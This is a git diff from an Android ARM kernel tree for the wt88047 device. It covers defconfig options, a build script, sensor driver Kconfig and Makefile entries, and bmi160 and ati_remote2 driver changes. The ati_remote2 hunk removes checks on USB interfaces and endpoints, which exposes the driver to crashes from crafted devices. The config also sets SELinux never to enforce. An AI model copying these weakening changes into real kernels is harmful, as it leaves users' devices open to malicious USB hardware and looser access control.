+# Kernel hacking +# +CONFIG_PRINTK_TIME=y +CONFIG_DEFAULT_MESSAGE_LOGLEVEL=4 +CONFIG_ENABLE_WARN_DEPRECATED=y +CONFIG_ENABLE_MUST_CHECK=y +CONFIG_FRAME_WARN=1024 +CONFIG_MAGIC_SYSRQ=y +# CONFIG_STRIP_ASM_SYMS is not set +# CONFIG_READABLE_ASM is not set +# CONFIG_UNUSED_SYMBOLS is not set +# CONFIG_PAGE_OWNER is not set +CONFIG_DEBUG_FS=y +# CONFIG_HEADERS_CHECK is not set +# CONFIG_DEBUG_SECTION_MISMATCH is not set +CONFIG_DEBUG_KERNEL=y +# CONFIG_DEBUG_SHIRQ is not set +# CONFIG_LOCKUP_DETECTOR is not set +# CONFIG_PANIC_ON_OOPS is not set +CONFIG_PANIC_ON_OOPS_VALUE=0 +# CONFIG_PANIC_ON_RECURSIVE_FAULT is not set +# CONFIG_DETECT_HUNG_TASK is not set +# CONFIG_SCHED_DEBUG is not set +# CONFIG_PANIC_ON_RT_THROTTLING is not set +CONFIG_SCHEDSTATS=y +CONFIG_TIMER_STATS=y +# CONFIG_DEBUG_OBJECTS is not set +# CONFIG_SLUB_STATS is not set +CONFIG_HAVE_DEBUG_KMEMLEAK=y +# CONFIG_DEBUG_KMEMLEAK is not set +# CONFIG_DEBUG_PREEMPT is not set +# CONFIG_DEBUG_RT_MUTEXES is not set +# CONFIG_RT_MUTEX_TESTER is not set +# CONFIG_DEBUG_SPINLOCK is not set +# CONFIG_DEBUG_MUTEXES is not set +# CONFIG_DEBUG_LOCK_ALLOC is not set +# CONFIG_PROVE_LOCKING is not set +# CONFIG_LOCK_STAT is not set +# CONFIG_DEBUG_ATOMIC_SLEEP is not set +# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set +CONFIG_STACKTRACE=y +# CONFIG_DEBUG_STACK_USAGE is not set +# CONFIG_DEBUG_KOBJECT is not set +# CONFIG_DEBUG_HIGHMEM is not set +# CONFIG_DEBUG_BUGVERBOSE is not set +# CONFIG_DEBUG_INFO is not set +# CONFIG_DEBUG_VM is not set +# CONFIG_DEBUG_WRITECOUNT is not set +# CONFIG_DEBUG_MEMORY_INIT is not set +# CONFIG_DEBUG_LIST is not set +# CONFIG_TEST_LIST_SORT is not set +# CONFIG_DEBUG_SG is not set +# CONFIG_DEBUG_NOTIFIERS is not set +# CONFIG_DEBUG_CREDENTIALS is not set +# CONFIG_BOOT_PRINTK_DELAY is not set + +# +# RCU Debugging +# +# CONFIG_PROVE_RCU_DELAY is not set +# CONFIG_SPARSE_RCU_POINTER is not set +# CONFIG_RCU_TORTURE_TEST is not set +CONFIG_RCU_CPU_STALL_TIMEOUT=21 +CONFIG_RCU_CPU_STALL_VERBOSE=y +# CONFIG_RCU_CPU_STALL_INFO is not set +# CONFIG_RCU_TRACE is not set +# CONFIG_BACKTRACE_SELF_TEST is not set +# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set +# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set +# CONFIG_DEBUG_PER_CPU_MAPS is not set +# CONFIG_LKDTM is not set +# CONFIG_NOTIFIER_ERROR_INJECTION is not set +# CONFIG_FAULT_INJECTION is not set +# CONFIG_DEBUG_PAGEALLOC is not set +CONFIG_NOP_TRACER=y +CONFIG_HAVE_FUNCTION_TRACER=y +CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y +CONFIG_HAVE_DYNAMIC_FTRACE=y +CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y +CONFIG_HAVE_SYSCALL_TRACEPOINTS=y +CONFIG_HAVE_C_RECORDMCOUNT=y +CONFIG_TRACE_CLOCK=y +CONFIG_RING_BUFFER=y +CONFIG_EVENT_TRACING=y +CONFIG_CONTEXT_SWITCH_TRACER=y +# CONFIG_MSM_RTB is not set +CONFIG_IPC_LOGGING=y +CONFIG_TRACING=y +CONFIG_GENERIC_TRACER=y +# CONFIG_TRACING_SUPPORT is not set +# CONFIG_DYNAMIC_DEBUG is not set +# CONFIG_OOPS_LOG_BUFFER is not set +# CONFIG_LOG_BUF_MAGIC is not set +# CONFIG_DMA_API_DEBUG is not set +# CONFIG_ATOMIC64_SELFTEST is not set +# CONFIG_PANIC_ON_DATA_CORRUPTION is not set +# CONFIG_SAMPLES is not set +CONFIG_HAVE_ARCH_KGDB=y +# CONFIG_KGDB is not set +# CONFIG_TEST_STRING_HELPERS is not set +# CONFIG_TEST_KSTRTOX is not set +# CONFIG_ARM_PTDUMP is not set +# CONFIG_STRICT_DEVMEM is not set +CONFIG_ARM_UNWIND=y +# CONFIG_DEBUG_USER is not set +# CONFIG_FORCE_PAGES is not set +# CONFIG_FREE_PAGES_RDONLY is not set +# CONFIG_DEBUG_LL is not set +CONFIG_DEBUG_LL_INCLUDE="mach/debug-macro.S" +CONFIG_UNCOMPRESS_INCLUDE="mach/uncompress.h" +# CONFIG_PID_IN_CONTEXTIDR is not set + +# +# Security options +# +CONFIG_KEYS=y +# CONFIG_ENCRYPTED_KEYS is not set +# CONFIG_KEYS_DEBUG_PROC_KEYS is not set +# CONFIG_SECURITY_DMESG_RESTRICT is not set +CONFIG_SECURITY_PERF_EVENTS_RESTRICT=y +CONFIG_SECURITY=y +# CONFIG_SECURITYFS is not set +CONFIG_SECURITY_NETWORK=y +# CONFIG_SECURITY_NETWORK_XFRM is not set +# CONFIG_SECURITY_PATH is not set +CONFIG_LSM_MMAP_MIN_ADDR=4096 +CONFIG_SECURITY_SELINUX=y +# CONFIG_SECURITY_SELINUX_BOOTPARAM is not set +# CONFIG_SECURITY_SELINUX_DISABLE is not set +CONFIG_SECURITY_SELINUX_DEVELOP=y +# CONFIG_SECURITY_SELINUX_ALWAYS_ENFORCE is not set +CONFIG_SECURITY_SELINUX_NEVER_ENFORCE=y +CONFIG_SECURITY_SELINUX_AVC_STATS=y +CONFIG_SECURITY_SELINUX_CHECKREQPROT_VALUE=1 +# CONFIG_SECURITY_SELINUX_POLICYDB_VERSION_MAX is not set +# CONFIG_SECURITY_SMACK is not set +# CONFIG_SECURITY_TOMOYO is not set +# CONFIG_SECURITY_APPARMOR is not set +# CONFIG_SECURITY_YAMA is not set +# CONFIG_IMA is not set +# CONFIG_EVM is not set +CONFIG_DEFAULT_SECURITY_SELINUX=y +# CONFIG_DEFAULT_SECURITY_DAC is not set +CONFIG_DEFAULT_SECURITY="selinux" +CONFIG_CRYPTO=y + +# +# Crypto core or helper +# +CONFIG_CRYPTO_ALGAPI=y +CONFIG_CRYPTO_ALGAPI2=y +CONFIG_CRYPTO_AEAD=y +CONFIG_CRYPTO_AEAD2=y +CONFIG_CRYPTO_BLKCIPHER=y +CONFIG_CRYPTO_BLKCIPHER2=y +CONFIG_CRYPTO_HASH=y +CONFIG_CRYPTO_HASH2=y +CONFIG_CRYPTO_RNG=y +CONFIG_CRYPTO_RNG2=y +CONFIG_CRYPTO_PCOMP2=y +CONFIG_CRYPTO_MANAGER=y +CONFIG_CRYPTO_MANAGER2=y +# CONFIG_CRYPTO_USER is not set +CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y +CONFIG_CRYPTO_GF128MUL=y +CONFIG_CRYPTO_NULL=y +# CONFIG_CRYPTO_PCRYPT is not set +CONFIG_CRYPTO_WORKQUEUE=y +CONFIG_CRYPTO_CRYPTD=y +CONFIG_CRYPTO_AUTHENC=y +CONFIG_CRYPTO_ABLK_HELPER=y + +# +# Authenticated Encryption with Associated Data +# +# CONFIG_CRYPTO_CCM is not set +# CONFIG_CRYPTO_GCM is not set +CONFIG_CRYPTO_SEQIV=y + +# +# Block modes +# +CONFIG_CRYPTO_CBC=y +CONFIG_CRYPTO_CTR=y +# CONFIG_CRYPTO_CTS is not set +CONFIG_CRYPTO_ECB=y +# CONFIG_CRYPTO_LRW is not set +# CONFIG_CRYPTO_PCBC is not set +CONFIG_CRYPTO_XTS=y + +# +# Hash modes +# +# CONFIG_CRYPTO_CMAC is not set +CONFIG_CRYPTO_HMAC=y +CONFIG_CRYPTO_XCBC=y +# CONFIG_CRYPTO_VMAC is not set + +# +# Digest +# +CONFIG_CRYPTO_CRC32C=y +CONFIG_CRYPTO_CRC32=y +# CONFIG_CRYPTO_GHASH is not set +CONFIG_CRYPTO_MD4=y +CONFIG_CRYPTO_MD5=y +# CONFIG_CRYPTO_MICHAEL_MIC is not set +# CONFIG_CRYPTO_RMD128 is not set +# CONFIG_CRYPTO_RMD160 is not set +# CONFIG_CRYPTO_RMD256 is not set +# CONFIG_CRYPTO_RMD320 is not set +CONFIG_CRYPTO_SHA1=y +CONFIG_CRYPTO_SHA1_ARM=y +CONFIG_CRYPTO_SHA1_ARM_NEON=y +CONFIG_CRYPTO_SHA256=y +CONFIG_CRYPTO_SHA512=y +CONFIG_CRYPTO_SHA512_ARM_NEON=y +# CONFIG_CRYPTO_TGR192 is not set +# CONFIG_CRYPTO_WP512 is not set + +# +# Ciphers +# +CONFIG_CRYPTO_AES=y +CONFIG_CRYPTO_AES_ARM=y +CONFIG_CRYPTO_AES_ARM_BS=y +# CONFIG_CRYPTO_ANUBIS is not set +CONFIG_CRYPTO_ARC4=y +# CONFIG_CRYPTO_BLOWFISH is not set +# CONFIG_CRYPTO_CAMELLIA is not set +# CONFIG_CRYPTO_CAST5 is not set +# CONFIG_CRYPTO_CAST6 is not set +CONFIG_CRYPTO_DES=y +# CONFIG_CRYPTO_FCRYPT is not set +# CONFIG_CRYPTO_KHAZAD is not set +# CONFIG_CRYPTO_SALSA20 is not set +# CONFIG_CRYPTO_SEED is not set +# CONFIG_CRYPTO_SERPENT is not set +# CONFIG_CRYPTO_TEA is not set +CONFIG_CRYPTO_TWOFISH=y +CONFIG_CRYPTO_TWOFISH_COMMON=y + +# +# Compression +# +CONFIG_CRYPTO_DEFLATE=y +# CONFIG_CRYPTO_ZLIB is not set +# CONFIG_CRYPTO_LZO is not set + +# +# Random Number Generation +# +CONFIG_CRYPTO_ANSI_CPRNG=y +# CONFIG_CRYPTO_USER_API_HASH is not set +# CONFIG_CRYPTO_USER_API_SKCIPHER is not set +CONFIG_CRYPTO_HW=y +CONFIG_CRYPTO_DEV_QCE50=y +# CONFIG_FIPS_ENABLE is not set +CONFIG_CRYPTO_DEV_QCRYPTO=y +CONFIG_CRYPTO_DEV_QCE=y +CONFIG_CRYPTO_DEV_QCEDEV=y +# CONFIG_CRYPTO_DEV_OTA_CRYPTO is not set +CONFIG_ASYMMETRIC_KEY_TYPE=y +CONFIG_ASYMMETRIC_PUBLIC_KEY_SUBTYPE=y +CONFIG_PUBLIC_KEY_ALGO_RSA=y +CONFIG_X509_CERTIFICATE_PARSER=y +CONFIG_BINARY_PRINTF=y + +# +# Library routines +# +CONFIG_BITREVERSE=y +CONFIG_GENERIC_STRNCPY_FROM_USER=y +CONFIG_GENERIC_STRNLEN_USER=y +CONFIG_GENERIC_PCI_IOMAP=y +CONFIG_GENERIC_IO=y +CONFIG_CRC_CCITT=y +CONFIG_CRC16=y +# CONFIG_CRC_T10DIF is not set +# CONFIG_CRC_ITU_T is not set +CONFIG_CRC32=y +# CONFIG_CRC32_SELFTEST is not set +CONFIG_CRC32_SLICEBY8=y +# CONFIG_CRC32_SLICEBY4 is not set +# CONFIG_CRC32_SARWATE is not set +# CONFIG_CRC32_BIT is not set +# CONFIG_CRC7 is not set +CONFIG_LIBCRC32C=y +# CONFIG_CRC8 is not set +CONFIG_AUDIT_GENERIC=y +# CONFIG_RANDOM32_SELFTEST is not set +CONFIG_ZLIB_INFLATE=y +CONFIG_ZLIB_DEFLATE=y +CONFIG_LZO_COMPRESS=y +CONFIG_LZO_DECOMPRESS=y +CONFIG_LZ4_COMPRESS=y +CONFIG_LZ4_DECOMPRESS=y +# CONFIG_XZ_DEC is not set +# CONFIG_XZ_DEC_BCJ is not set +CONFIG_DECOMPRESS_GZIP=y +CONFIG_DECOMPRESS_BZIP2=y +CONFIG_DECOMPRESS_LZMA=y +CONFIG_GENERIC_ALLOCATOR=y +CONFIG_REED_SOLOMON=y +CONFIG_REED_SOLOMON_ENC8=y +CONFIG_REED_SOLOMON_DEC8=y +CONFIG_TEXTSEARCH=y +CONFIG_TEXTSEARCH_KMP=y +CONFIG_TEXTSEARCH_BM=y +CONFIG_TEXTSEARCH_FSM=y +CONFIG_HAS_IOMEM=y +CONFIG_HAS_IOPORT_MAP=y +CONFIG_HAS_DMA=y +CONFIG_CPU_RMAP=y +CONFIG_DQL=y +CONFIG_NLATTR=y +CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE=y +# CONFIG_AVERAGE is not set +CONFIG_CLZ_TAB=y +# CONFIG_CORDIC is not set +# CONFIG_DDR is not set +CONFIG_MPILIB=y +CONFIG_LIBFDT=y +CONFIG_OID_REGISTRY=y +CONFIG_QMI_ENCDEC=y +# CONFIG_QMI_ENCDEC_DEBUG is not set +# CONFIG_VIRTUALIZATION is not set diff --git a/arch/arm/configs/zetsubou_defconfig b/arch/arm/configs/zetsubou_wt88047_defconfig similarity index 100% rename from arch/arm/configs/zetsubou_defconfig rename to arch/arm/configs/zetsubou_wt88047_defconfig diff --git a/build.sh b/build.sh index 2c8edbb6854dc..5bdc0acec84b7 100755 --- a/build.sh +++ b/build.sh @@ -17,9 +17,7 @@ # KERNEL_DIR=$PWD ZIP_DIR=$KERNEL_DIR/AnyKernel2 -KERN_IMG=$KERNEL_DIR/arch/arm/boot/zImage -DT_IMG=$KERNEL_DIR/arch/arm/boot/dt.img -DTBTOOL=$KERNEL_DIR/tools/dtbToolCM +KERN_IMG=$KERNEL_DIR/arch/arm/boot/zImage-dtb BUILD_START=$(date +"%s") blue='\033[0;34m' cyan='\033[0;36m' @@ -27,21 +25,19 @@ yellow='\033[0;33m' red='\033[0;31m' nocol='\033[0m' # Modify the following variable if you want to build -export CROSS_COMPILE="/home/saiko94/kernel/arm-unknown-linux-gnueabi/bin/arm-unknown-linux-gnueabi-" +export CROSS_COMPILE="~/kernel/tc/uber/bin/arm-eabi-" export ARCH=arm export SUBARCH=arm -export KBUILD_BUILD_USER="ashish.m" -export KBUILD_BUILD_HOST="DespairInc." -make zetsubou_defconfig -make -j5 +export KBUILD_BUILD_USER="lolmaxlik" +export KBUILD_BUILD_HOST="SmartRomTeam" +make zetsubou_crackling_defconfig +make zImage-dtb -j3 -$DTBTOOL -2 -o $KERNEL_DIR/arch/arm/boot/dt.img -s 2048 -p $KERNEL_DIR/scripts/dtc/ $KERNEL_DIR/arch/arm/boot/dts/ echo -e "$blue***********************************************" echo " creating flashable zip " echo -e "***********************************************$nocol" cd $ZIP_DIR make clean -cp $DT_IMG $ZIP_DIR/dtb cp $KERN_IMG $ZIP_DIR make BUILD_END=$(date +"%s") diff --git a/drivers/input/misc/Kconfig b/drivers/input/misc/Kconfig index b4c3bfe660ef3..24e77e927a150 100644 --- a/drivers/input/misc/Kconfig +++ b/drivers/input/misc/Kconfig @@ -793,6 +793,12 @@ config SENSORS_MMC3416X To compile this driver as a module, choose M here: the module will be called mmc3416x. +config SENSORS_MMC3416X_ALLOW_OVERFLOW + tristate "MMC3416X sensor overflow check" + depends on SENSORS_MMC3416X + help + Say Y here if you want to allow overflow in MMC3416X sensor. + config SENSORS_MMC3X30 tristate "MMC3X30KJ 3-axis magnetic sensor driver" depends on I2C @@ -824,16 +830,6 @@ config SENSORS_AKM8963 To compile this driver as a module, choose M here: the module will be called akm8963. -config SENSORS_YAS537 - tristate "YAS Geomagnetic Sensor" - depends on I2C - help - Say Y here if you want to enable the YAS537 magnetic sensor - driver. - - To compile this driver as a module, choose M here: the - module will be called yas537. - config SENSORS_STK3X1X tristate "STK3X1X device driver" depends on I2C @@ -970,5 +966,54 @@ config SENSORS_BMI160_ENABLE_INT2 help If you say yes here, you get INT2 support for Bosch Sensortec sensors BMI160. + +config INPUT_LSM6DX0 + tristate "STMicroelectronics LSM6DS0 and LSM6DL0" + depends on INPUT + depends on I2C + help + Say Y here to enable STMicroelectronics LSM6DS0 or LSM6DL0inertial + module. + + To compile this driver as a module, choose M here: the + module will be called lsm6dx0. + +config SENSORS_ST480 + tristate "Senodia ST480 magnetic sensor support" + depends on I2C + default n + help + If you say yes here you get support for Senodia + magnetic sensors ST480. + +config SENSORS_MPU6880 + tristate "Invensense MPU6880 support" + depends on I2C + default n + select INPUT_POLLDEV + help + If you say yes here you get support for Invensense's MPU6880. + +config SENSORS_PA12200001 + tristate "TXC_PA12200001 proximity/light sensor support" + depends on I2C + default n + help + If you say yes here you get support for TXC's PA12200001 proximity + and light sensor. + +config SENSORS_YL_HALL + tristate "Yulong/Coolpad Hall sensor support" + default n + help + If you say yes here you get support for Yulong/Coolpad's Hall sensor. + +config SENSORS_YL_PARAMS + tristate "Yulong sensor parameter support" + default n + help + If you say yes here you get support for Yulong/Coolpad's sensor + calibration parameter driver. + endif diff --git a/drivers/input/misc/Makefile b/drivers/input/misc/Makefile index 19be01e2ed2fb..c0e5167bf46a2 100644 --- a/drivers/input/misc/Makefile +++ b/drivers/input/misc/Makefile @@ -76,8 +76,6 @@ obj-$(CONFIG_SENSORS_CAPELLA_CM36283) += cm36283.o obj-$(CONFIG_SENSORS_MPU6050) += mpu6050.o obj-$(CONFIG_SENSORS_AKM8963) += akm8963.o obj-$(CONFIG_SENSORS_AKM09911) += akm09911.o -obj-$(CONFIG_SENSORS_YAS537) += yas_mag_drv-yas537.o -obj-$(CONFIG_SENSORS_YAS537) += yas_mag_kernel.o obj-$(CONFIG_SENSORS_ST480) += st480.o obj-$(CONFIG_SENSORS_LIS3DH) += lis3dh_acc.o obj-$(CONFIG_SENSORS_AP3426) += ap3426.o @@ -103,6 +101,17 @@ ifeq ($(CONFIG_BOSCH_BMA2X2_ENABLE_INT2),y) EXTRA_CFLAGS += -DBMA2X2_ENABLE_INT2 endif +ifeq ($(CONFIG_SENSORS_BMA2X2_ENABLE_IDENT),y) + EXTRA_CFLAGS += -DBMA2X2_SENSOR_IDENTIFICATION_ENABLE +endif + +ifeq ($(CONFIG_SENSORS_BMG_FIFO),y) + EXTRA_CFLAGS += -DBMG_USE_FIFO -DBMG_USE_BASIC_I2C_FUNC +endif +ifeq ($(CONFIG_SENSORS_BMM050),y) + EXTRA_CFLAGS += -DBMM_USE_BASIC_I2C_FUNC -DCONFIG_BMM_USE_PLATFORM_DATA +endif + obj-$(CONFIG_SENSORS_BMI160) += bmi160_driver.o bmi160.o ifeq ($(CONFIG_BMI160_MAG_INTERFACE_SUPPORT),y) EXTRA_CFLAGS += -DBMI160_MAG_INTERFACE_SUPPORT diff --git a/drivers/input/misc/ati_remote2.c b/drivers/input/misc/ati_remote2.c index e8c6a4842e91c..f63341f20b91a 100644 --- a/drivers/input/misc/ati_remote2.c +++ b/drivers/input/misc/ati_remote2.c @@ -817,49 +817,26 @@ static int ati_remote2_probe(struct usb_interface *interface, const struct usb_d ar2->udev = udev; - /* Sanity check, first interface must have an endpoint */ - if (alt->desc.bNumEndpoints < 1 || !alt->endpoint) { - dev_err(&interface->dev, - "%s(): interface 0 must have an endpoint\n", __func__); - r = -ENODEV; - goto fail1; - } ar2->intf[0] = interface; ar2->ep[0] = &alt->endpoint[0].desc; - /* Sanity check, the device must have two interfaces */ ar2->intf[1] = usb_ifnum_to_if(udev, 1); - if ((udev->actconfig->desc.bNumInterfaces < 2) || !ar2->intf[1]) { - dev_err(&interface->dev, "%s(): need 2 interfaces, found %d\n", - __func__, udev->actconfig->desc.bNumInterfaces); - r = -ENODEV; - goto fail1; - } - r = usb_driver_claim_interface(&ati_remote2_driver, ar2->intf[1], ar2); if (r) goto fail1; - - /* Sanity check, second interface must have an endpoint */ alt = ar2->intf[1]->cur_altsetting; - if (alt->desc.bNumEndpoints < 1 || !alt->endpoint) { - dev_err(&interface->dev, - "%s(): interface 1 must have an endpoint\n", __func__); - r = -ENODEV; - goto fail2; - } ar2->ep[1] = &alt->endpoint[0].desc; r = ati_remote2_urb_init(ar2); if (r) - goto fail3; + goto fail2; ar2->channel_mask = channel_mask; ar2->mode_mask = mode_mask; r = ati_remote2_setup(ar2, ar2->channel_mask); if (r) - goto fail3; + goto fail2; usb_make_path(udev, ar2->phys, sizeof(ar2->phys)); strlcat(ar2->phys, "/input0", sizeof(ar2->phys)); @@ -868,11 +845,11 @@ static int ati_remote2_probe(struct usb_interface *interface, const struct usb_d r = sysfs_create_group(&udev->dev.kobj, &ati_remote2_attr_group); if (r) - goto fail3; + goto fail2; r = ati_remote2_input_init(ar2); if (r) - goto fail4; + goto fail3; usb_set_intfdata(interface, ar2); @@ -880,11 +857,10 @@ static int ati_remote2_probe(struct usb_interface *interface, const struct usb_d return 0; - fail4: - sysfs_remove_group(&udev->dev.kobj, &ati_remote2_attr_group); fail3: - ati_remote2_urb_cleanup(ar2); + sysfs_remove_group(&udev->dev.kobj, &ati_remote2_attr_group); fail2: + ati_remote2_urb_cleanup(ar2); usb_driver_release_interface(&ati_remote2_driver, ar2->intf[1]); fail1: kfree(ar2); diff --git a/drivers/input/misc/bmi160_driver.c b/drivers/input/misc/bmi160_driver.c index 692203386af95..d5bc73ab443c1 100644 --- a/drivers/input/misc/bmi160_driver.c +++ b/drivers/input/misc/bmi160_driver.c @@ -38,6 +38,11 @@ static unsigned char g_fifo_data_arr[2048];/*1024 + 12*4*/ #define BMI160_VIO_MIN_UV 1200000 #define BMI160_VIO_MAX_UV 3600000 +/* Polling delay in msecs */ +#define POLL_INTERVAL_MIN_MS 10 +#define POLL_INTERVAL_MAX_MS 4000 + + static struct sensors_classdev accel_cdev = { .name = "bmi160-accel", .vendor = "Bosch Corporation", @@ -45,9 +50,10 @@ static struct sensors_classdev accel_cdev = { .handle = SENSORS_ACCELERATION_HANDLE, .type = SENSOR_TYPE_ACCELEROMETER, .max_range = "156.8", - .resolution = "0.00781", + .resolution = "0.153125", .sensor_power = "0.13", - .min_delay = 1000, + .min_delay = POLL_INTERVAL_MIN_MS * 1000, /* in microseconds */ + .max_delay = POLL_INTERVAL_MAX_MS, .fifo_reserved_event_count = 0, .fifo_max_event_count = 0, .enabled = 0, @@ -68,7 +74,8 @@ static struct sensors_classdev gyro_cdev = { .max_range = "35", .resolution = "0.06", .sensor_power = "0.13", - .min_delay = 2000, + .min_delay = POLL_INTERVAL_MIN_MS * 1000, /* in microseconds */ + .max_delay = POLL_INTERVAL_MAX_MS, .fifo_reserved_event_count = 0, .fifo_max_event_count = 0, .enabled = 0, @@ -571,9 +578,9 @@ static void bmi_remap_sensor_data(struct bmi160_axis_data_t *val, { struct bosch_sensor_data bsd; - if ((NULL == client_data->bst_pd) || + if ((NULL == client_data->pdata) || (BOSCH_SENSOR_PLACE_UNKNOWN - == client_data->bst_pd->place)) + == client_data->pdata->place)) return; bsd.x = val->x; @@ -581,7 +588,7 @@ static void bmi_remap_sensor_data(struct bmi160_axis_data_t *val, bsd.z = val->z; bst_remap_sensor_data_dft_tab(&bsd, - client_data->bst_pd->place); + client_data->pdata->place); val->x = bsd.x; val->y = bsd.y; @@ -594,9 +601,9 @@ static void bmi_remap_data_acc(struct bmi_client_data *client_data, { struct bosch_sensor_data bsd; - if ((NULL == client_data->bst_pd) || + if ((NULL == client_data->pdata) || (BOSCH_SENSOR_PLACE_UNKNOWN - == client_data->bst_pd->place)) + == client_data->pdata->place)) return; bsd.x = acc_frame->x; @@ -604,7 +611,7 @@ static void bmi_remap_data_acc(struct bmi_client_data *client_data, bsd.z = acc_frame->z; bst_remap_sensor_data_dft_tab(&bsd, - client_data->bst_pd->place); + client_data->pdata->place); acc_frame->x = bsd.x; acc_frame->y = bsd.y; @@ -618,9 +625,9 @@ static void bmi_remap_data_gyro(struct bmi_client_data *client_data, { struct bosch_sensor_data bsd; - if ((NULL == client_data->bst_pd) || + if ((NULL == client_data->pdata) || (BOSCH_SENSOR_PLACE_UNKNOWN - == client_data->bst_pd->place)) + == client_data->pdata->place)) return; bsd.x = gyro_frame->x; @@ -628,7 +635,7 @@ static void bmi_remap_data_gyro(struct bmi_client_data *client_data, bsd.z = gyro_frame->z; bst_remap_sensor_data_dft_tab(&bsd, - client_data->bst_pd->place); + client_data->pdata->place); gyro_frame->x = bsd.x; gyro_frame->y = bsd.y; @@ -2137,8 +2144,8 @@ static ssize_t bmi160_place_show(struct device *dev, struct bmi_client_data *client_data = dev_get_drvdata(dev); int place = BOSCH_SENSOR_PLACE_UNKNOWN; - if (NULL != client_data->bst_pd) - place = client_data->bst_pd->place; + if (NULL != client_data->pdata) + place = client_data->pdata->place; return sprintf(buf, "%d\n", place); } @@ -2222,7 +2229,7 @@ static ssize_t bmi160_enable_store(struct device *dev, cancel_delayed_work_sync(&client_data->work); atomic_set(&client_data->wkqueue_en, 0); if (bmi160_power_ctl(client_data, false)) { - dev_err(dev, "power up sensor failed.\n"); + dev_err(dev, "power down sensor failed.\n"); goto mutex_exit; } } @@ -4704,7 +4711,7 @@ static void bmi160_set_acc_enable(struct device *dev, unsigned int enable) gyro_current_enable = atomic_read(&client_data->gyro_en); if (!gyro_current_enable) { if (bmi160_power_ctl(client_data, false)) { - dev_err(dev, "power up sensor failed.\n"); + dev_err(dev, "power down sensor failed.\n"); goto mutex_exit; } } @@ -4748,7 +4755,7 @@ static void bmi160_set_gyro_enable(struct device *dev, unsigned int enable) acc_current_enable = atomic_read(&client_data->wkqueue_en); if (!acc_current_enable) { if (bmi160_power_ctl(client_data, false)) { - dev_err(dev, "power up sensor failed.\n"); + dev_err(dev, "power down sensor failed.\n"); goto mutex_exit; } } @@ -4772,32 +4779,54 @@ static int bmi160_self_calibration_xyz(struct sensors_classdev *sensors_cdev, struct bmi_client_data *client_data = container_of(sensors_cdev, struct bmi_client_data, accel_cdev); + int acc_pre_enable = atomic_read(&client_data->wkqueue_en); + if (acc_pre_enable) + bmi160_set_acc_enable(&client_data->i2c->dev, 0); + err = bmi160_power_ctl(client_data, true); + if (err) { + dev_err(&client_data->i2c->dev, "power up sensor failed.\n"); + err = -EINVAL; + goto exit; + } err = BMI_CALL_API(set_accel_foc_trigger)(X_AXIS, 1, &accel_offset_x); if (!err) client_data->calib_status |= BMI_FAST_CALI_TRUE << BMI_ACC_X_FAST_CALI_RDY; - else - return -EIO; - + else { + err = -EIO; + goto exit; + } err = BMI_CALL_API(set_accel_foc_trigger)(Y_AXIS, 1, &accel_offset_y); if (!err) client_data->calib_status |= BMI_FAST_CALI_TRUE << BMI_ACC_Y_FAST_CALI_RDY; - else - return -EIO; - + else { + err = -EIO; + goto exit; + } err = BMI_CALL_API(set_accel_foc_trigger)(Z_AXIS, 1, &accel_offset_z); if (!err) client_data->calib_status |= BMI_FAST_CALI_TRUE << BMI_ACC_Z_FAST_CALI_RDY; - else - return -EIO; + else { + err = -EIO; + goto exit; + } + err = bmi160_power_ctl(client_data, false); + if (err) { + dev_err(&client_data->i2c->dev, "power down sensor failed.\n"); + err = -EINVAL; + goto exit; + } +exit: + if (acc_pre_enable) + bmi160_set_acc_enable(&client_data->i2c->dev, 1); - return 0; + return err; } static int bmi160_accel_poll_delay(struct sensors_classdev *sensors_cdev, @@ -4806,10 +4835,10 @@ static int bmi160_accel_poll_delay(struct sensors_classdev *sensors_cdev, struct bmi_client_data *data = container_of(sensors_cdev, struct bmi_client_data, accel_cdev); - if (delay_ms < 10) - delay_ms = 10; - if (delay_ms > 10) - delay_ms = 10; + if (delay_ms < POLL_INTERVAL_MIN_MS) + delay_ms = POLL_INTERVAL_MIN_MS; + if (delay_ms > POLL_INTERVAL_MAX_MS) + delay_ms = POLL_INTERVAL_MAX_MS; atomic_set(&data->delay, (unsigned int) delay_ms); return 0; } @@ -4829,10 +4858,10 @@ static int bmi160_gyro_poll_delay(struct sensors_classdev *sensors_cdev, struct bmi_client_data *data = container_of(sensors_cdev, struct bmi_client_data, gyro_cdev); - if (delay_ms < 10) - delay_ms = 10; - if (delay_ms > 10) - delay_ms = 10; + if (delay_ms < POLL_INTERVAL_MIN_MS) + delay_ms = POLL_INTERVAL_MIN_MS; + if (delay_ms > POLL_INTERVAL_MAX_MS) + delay_ms = POLL_INTERVAL_MAX_MS; atomic_set(&data->delay, (unsigned int) delay_ms); return 0; } @@ -4848,20 +4877,55 @@ static int bmi160_cdev_enable_gyro(struct sensors_classdev *sensors_cdev, } + +static int bmi160_parse_dt(struct device *dev, + struct bmi160_platform_data *pdata) +{ + struct device_node *np = dev->of_node; + u32 temp_val; + int rc; + + rc = of_property_read_u32(np, "bosch,place", &temp_val); + if (rc && (rc != -EINVAL)) { + dev_err(dev, "Unable to read sensor place paramater\n"); + return rc; + } + if (temp_val > 7 || temp_val < 0) { + dev_err(dev, "Invalid place parameter, use default value 0\n"); + pdata->place = 0; + } else { + pdata->place = temp_val; + } +#ifdef BMI160_ENABLE_INT1 + pdata->gpio_pin = of_get_named_gpio_flags(dev->of_node, + "bosch,gpio-int1", 0, &pdata->int_flag); +#endif +#ifdef BMI160_ENABLE_INT2 + pdata->gpio_pin = of_get_named_gpio_flags(dev->of_node, + "bosch,gpio-int2", 0, &pdata->int_flag); +#endif + return 0; +} + + + + int bmi_probe(struct bmi_client_data *client_data, struct device *dev) { int err = 0; + struct bmi160_platform_data *pdata; #ifdef BMI160_MAG_INTERFACE_SUPPORT u8 mag_dev_addr; u8 mag_urst_len; u8 mag_op_mode; #endif + err = bmi160_power_init(client_data); if (err) { dev_err(&client_data->i2c->dev, "Failed to get sensor regulators\n"); err = -EINVAL; - goto exit_err_clean; + goto exit; } err = bmi160_power_ctl(client_data, true); if (err) { @@ -4871,10 +4935,36 @@ int bmi_probe(struct bmi_client_data *client_data, struct device *dev) goto deinit_power_exit; } + if (client_data->i2c->dev.of_node) { + pdata = devm_kzalloc(&client_data->i2c->dev, + sizeof(*pdata), GFP_KERNEL); + if 